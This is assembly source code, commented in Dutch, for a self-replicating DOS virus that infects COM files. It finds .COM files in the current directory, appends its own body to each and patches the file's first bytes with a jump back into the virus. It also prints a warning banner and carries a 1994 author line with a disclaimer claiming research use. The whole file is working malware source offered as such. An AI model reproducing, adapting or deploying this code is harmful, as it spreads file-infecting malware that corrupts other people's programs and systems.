2022-08-21 09:07:57 +00:00
|
|
|
|
; Com-infector ...
|
|
|
|
|
|
|
|
|
|
IDEAL ; Informatie voor de
|
|
|
|
|
MODEL SMALL ; assembler (TASM)
|
|
|
|
|
CODESEG ; om een COM file
|
|
|
|
|
ORG 100h ; te genereren.
|
|
|
|
|
|
|
|
|
|
VX_LEN EQU ((NEW_BYTES + 2) - VX) ; Aantal bytes dat
|
|
|
|
|
; dit virus groot is.
|
|
|
|
|
FIRST:
|
|
|
|
|
DB 0FBh ; Markering dat deze
|
|
|
|
|
; file geinfecteerd
|
|
|
|
|
; is.
|
|
|
|
|
DB 0E9h ; Een 3-bytes ge-
|
|
|
|
|
DW 00000h ; infecteerde file.
|
|
|
|
|
|
|
|
|
|
VX: CALL RELATIVE ; Zet die offset van
|
|
|
|
|
RELATIVE: ; RELATIVE in BP,
|
|
|
|
|
POP BP ; trekt daar de positie
|
|
|
|
|
SUB BP,OFFSET RELATIVE ; van RELATIVE af in
|
|
|
|
|
; de originele file
|
|
|
|
|
; (deze file),
|
|
|
|
|
; en zo kan de relative
|
|
|
|
|
; positie van de data
|
|
|
|
|
; in het geheugen
|
|
|
|
|
; bepaalt worden.
|
|
|
|
|
MOV AH,009h ; Laat waarschuwing
|
|
|
|
|
LEA DX,[BP + MEDEDELING] ; zien.
|
|
|
|
|
INT 021h ;
|
|
|
|
|
LEA SI,[BP + OLD_BYTES] ; Plaatste de eerste 3
|
|
|
|
|
MOV DI,0100h ; bytes van de ge-
|
|
|
|
|
CLD ; infecteerde file
|
|
|
|
|
MOVSW ; terug.
|
|
|
|
|
MOVSW ;
|
|
|
|
|
MOV AH,02Fh ; Bewaar de pointer
|
|
|
|
|
INT 021h ; naar het DTA blok.
|
|
|
|
|
MOV [WORD PTR CS:BP + OLD_DTA ],BX ;
|
|
|
|
|
MOV [WORD PTR CS:BP + OLD_DTA + 2],ES ;
|
|
|
|
|
MOV AH,01Ah ; Zet die pointer naar
|
|
|
|
|
LEA DX,[BP + NEW_DTA] ; het DTA blok van dit
|
|
|
|
|
INT 021h ; virus.
|
|
|
|
|
|
|
|
|
|
MOV AH,04Eh ; Zoek de eerste COM
|
|
|
|
|
MOV CX,022h ; file in deze
|
|
|
|
|
LEA DX,[BP + FILE_NAME] ; directory.
|
|
|
|
|
JMP FIND ;
|
|
|
|
|
|
|
|
|
|
AGAIN: MOV AH,04Fh ; Volgende COM file.
|
|
|
|
|
|
|
|
|
|
FIND: INT 021h ; Zoek, en als er
|
|
|
|
|
JC EXIT ; geen COM files meer
|
|
|
|
|
; in deze directory
|
|
|
|
|
; zijn, dan naar EXIT.
|
|
|
|
|
MOV AX,03D02h ; Open de te infecteren
|
|
|
|
|
LEA DX,[BP + NEW_DTA + 30] ; file, en plaats de
|
|
|
|
|
INT 021h ; file handle in BX.
|
|
|
|
|
MOV BX,AX ;
|
|
|
|
|
MOV AH,03Fh ; Lees de eerste 4
|
|
|
|
|
MOV CX,00004h ; bytes in.
|
|
|
|
|
LEA DX,[BP + OLD_BYTES] ;
|
|
|
|
|
MOV DI,DX ;
|
|
|
|
|
INT 021h ;
|
|
|
|
|
|
|
|
|
|
CMP [BYTE PTR DI],0FBh ; Is de eerste byte FB
|
|
|
|
|
JE AGAIN ; dan naar AGAIN.
|
|
|
|
|
MOV AX,04202h ; Ga naar 't einde
|
|
|
|
|
XOR CX,CX ; van de file.
|
|
|
|
|
XOR DX,DX ;
|
|
|
|
|
INT 021h ;
|
|
|
|
|
|
|
|
|
|
OR DX,DX ; Als de file grote is
|
|
|
|
|
JNZ AGAIN ; dat een segment niet
|
|
|
|
|
; infecteren, want dan
|
|
|
|
|
; kan het geen COM
|
|
|
|
|
; file zijn.
|
|
|
|
|
; (Terug naar AGAIN)
|
|
|
|
|
CMP AX,1024 ; Is de file kleiner
|
|
|
|
|
JB AGAIN ; dan 1024, dan naar
|
|
|
|
|
NOT_2_SMALL: ; AGAIN.
|
|
|
|
|
|
|
|
|
|
CMP AX,50000 ; Ook groter dan 50000
|
|
|
|
|
JA AGAIN ; infecteren we niet.
|
|
|
|
|
; (dan terug naar AGAIN)
|
|
|
|
|
SUB AX,00004h ; Bereken waar die jump
|
|
|
|
|
MOV [WORD PTR CS:BP + NEW_BYTES + 2],AX ; aan het begin van de
|
|
|
|
|
; geinfecteerde file
|
|
|
|
|
; heen moet springen.
|
|
|
|
|
MOV AH,040h ; Append 't virus
|
|
|
|
|
MOV CX,VX_LEN ; aan de file.
|
|
|
|
|
LEA DX,[BP + VX] ;
|
|
|
|
|
INT 021h ;
|
|
|
|
|
|
|
|
|
|
MOV AX,04200h ; Ga naar 't begin van
|
|
|
|
|
XOR CX,CX ; de file.
|
|
|
|
|
XOR DX,DX ;
|
|
|
|
|
INT 021h ;
|
|
|
|
|
MOV AH,040h ; Schrijf de markering
|
|
|
|
|
MOV CX,00004h ; en de jump naar 't
|
|
|
|
|
LEA DX,[BP + NEW_BYTES] ; virus aan 't begin
|
|
|
|
|
INT 021h ; van de file.
|
|
|
|
|
|
|
|
|
|
MOV AH,03Eh ; Sluit de file.
|
|
|
|
|
INT 021h ;
|
|
|
|
|
JMP AGAIN ; Spring naar AGAIN.
|
|
|
|
|
|
|
|
|
|
EXIT:
|
|
|
|
|
PUSH DS ; Save DS.
|
|
|
|
|
MOV DX,[WORD PTR CS:BP + OLD_DTA ]
|
|
|
|
|
MOV AX,[WORD PTR CS:BP + OLD_DTA + 2]
|
|
|
|
|
MOV DS,AX
|
|
|
|
|
MOV AH,01Ah
|
|
|
|
|
INT 021h
|
|
|
|
|
POP DS ; Restore DS.
|
|
|
|
|
MOV SI,0100h ; Start de originele
|
|
|
|
|
JMP SI ; file op.
|
|
|
|
|
|
|
|
|
|
; *** Data ***
|
|
|
|
|
|
|
|
|
|
Mededeling:
|
|
|
|
|
|
|
|
|
|
DB "This file contains a virus!!! Please COLD-boot from a write protected"
|
|
|
|
|
DB 00Dh, 00Ah
|
|
|
|
|
DB "system disk and use you anti virus software!!!$"
|
|
|
|
|
|
|
|
|
|
Disclaimer:
|
|
|
|
|
|
|
|
|
|
DB "Dit virus is ter RESEARCH en STUDIE geschreven!! "
|
|
|
|
|
DB "Misbruik hiervan is strafbaar onder de Nederlandse wet!! "
|
|
|
|
|
|
|
|
|
|
Auteur:
|
|
|
|
|
|
|
|
|
|
DB "(C) 1994 - [D<>RkR<6B>Y] retired virus writer..."
|
|
|
|
|
|
|
|
|
|
OLD_BYTES: NOP
|
|
|
|
|
NOP
|
|
|
|
|
NOP
|
|
|
|
|
RET
|
|
|
|
|
|
|
|
|
|
FILE_NAME: DB "*.COM",0h
|
|
|
|
|
|
|
|
|
|
NEW_BYTES DB 0FBh, 0E9h, ?, ?
|
|
|
|
|
|
|
|
|
|
OLD_DTA DW ?, ?
|
|
|
|
|
NEW_DTA DW 34 DUP(?)
|
|
|
|
|
|
|
|
|
|
END FIRST
|